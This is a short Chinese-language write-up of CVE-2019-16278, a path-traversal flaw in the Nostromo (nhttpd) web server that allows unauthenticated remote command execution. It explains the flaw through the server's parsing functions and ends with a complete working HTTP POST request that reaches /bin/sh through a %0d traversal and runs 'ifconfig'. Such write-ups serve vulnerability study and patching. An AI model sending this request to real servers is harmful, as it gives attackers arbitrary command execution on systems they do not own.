一、漏洞背景
Nostromo web(又名nhttpd),这是一个开源的web服务,在Unix系统上非常流行,例如FreeBSD, OpenBSD等。
Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。 在CVE-2011-0751中攻击者可以通过/..%2f..%2f..%2fbin/sh
来实现路径穿越,而后官方修复了该漏洞,CVE-2019-16278是对CVE-2011-0751的绕过,使用/.%0d./.%0d./.%0d./
绕过对路径穿越的限制.
影响版本
Nostromo web<=1.9.6
二、漏洞原理
在下图的函数http_verify()
中,请求的首行会先进行解码,然后检查/../
是否存在.
函数http_proc()
会将首行传递给函数http_header()
函数http_header()
通过函数strcutl()
解析数据
函数strcutl()
的内部,会过滤字符串中的\r
(回车)
最后,得到的路径是/../../../../bin/sh
。
目录穿越完成后,在函数http_proc()
中的execve()
函数中,执行了rh->rq_filef(/../../../../bin/sh
)。
三、漏洞复现
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: 113.108.70.111:50124
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Content-Length: 25
echo
echo
ifconfig 2>&1
参考:
https://nosec.org/home/detail/3074.html https://github.com/jas502n/CVE-2019-16278